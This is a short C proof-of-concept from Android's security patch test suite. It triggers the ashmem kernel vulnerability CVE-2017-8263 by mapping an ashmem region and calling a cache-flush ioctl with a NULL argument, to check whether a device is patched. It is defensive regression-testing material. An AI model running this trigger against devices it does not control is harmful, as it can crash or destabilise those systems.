hostsidetests/security/securityPatch/CVE-2017-8263/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdio.h>
#include "local_poc.h"


int main() {
    int fd;
    int ret;
    uint64_t mmap_ret;

    fd = open("/dev/ashmem", 0, 0);
    if (fd < 0) {
        return -1;
    }

    ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
    if (ret < 0) {
        return -1;
    }

    mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
            0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
    if (mmap_ret == MAP_FAILED) {
        return -1;
    }

    ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
    if (ret < 0) {
        return -1;
    }
    return 0;
}